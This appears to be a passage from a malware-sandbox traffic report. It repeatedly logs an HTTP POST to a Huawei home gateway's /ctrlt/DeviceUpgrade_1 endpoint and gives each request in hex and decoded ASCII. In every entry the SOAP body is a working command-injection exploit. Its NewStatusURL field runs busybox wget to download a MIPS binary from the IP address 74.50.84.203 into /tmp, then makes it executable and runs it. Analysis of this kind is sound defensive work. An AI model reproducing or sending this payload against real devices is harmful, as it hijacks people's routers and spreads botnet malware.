65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
